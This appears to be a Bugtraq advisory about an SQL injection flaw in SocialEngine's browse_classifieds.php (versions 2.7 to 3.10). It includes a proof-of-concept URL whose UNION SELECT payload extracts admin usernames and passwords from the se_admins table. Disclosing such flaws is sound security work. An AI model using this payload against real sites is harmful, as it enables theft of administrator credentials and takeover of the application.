SocialEngine 'browse_classifieds.php' SQL Injection Vulnerability

Bugtraq ID:	33190
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Jan 11 2009 12:00AM
Updated:	Jan 12 2009 09:02PM
Credit:	Snakespc
Vulnerable:	Webligo Developments SocialEngine 3.10 Webligo Developments SocialEngine 3.0 Webligo Developments SocialEngine 2.7
Not Vulnerable:

SocialEngine 'browse_classifieds.php' SQL Injection Vulnerability

SocialEngine is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

SocialEngine 'browse_classifieds.php' SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following proof of concept is available:

http://www.example.com/browse_classifieds.php?s=classified_date%20DESC&v=0&classifiedcat_id=-1+UNION%20SELECT%20concat(admin_username,0x3a,admin_password),2,3+from+se_admins

SocialEngine 'browse_classifieds.php' SQL Injection Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

SocialEngine 'browse_classifieds.php' SQL Injection Vulnerability

References:

• SocialEngine Homepage (Webligo Developments)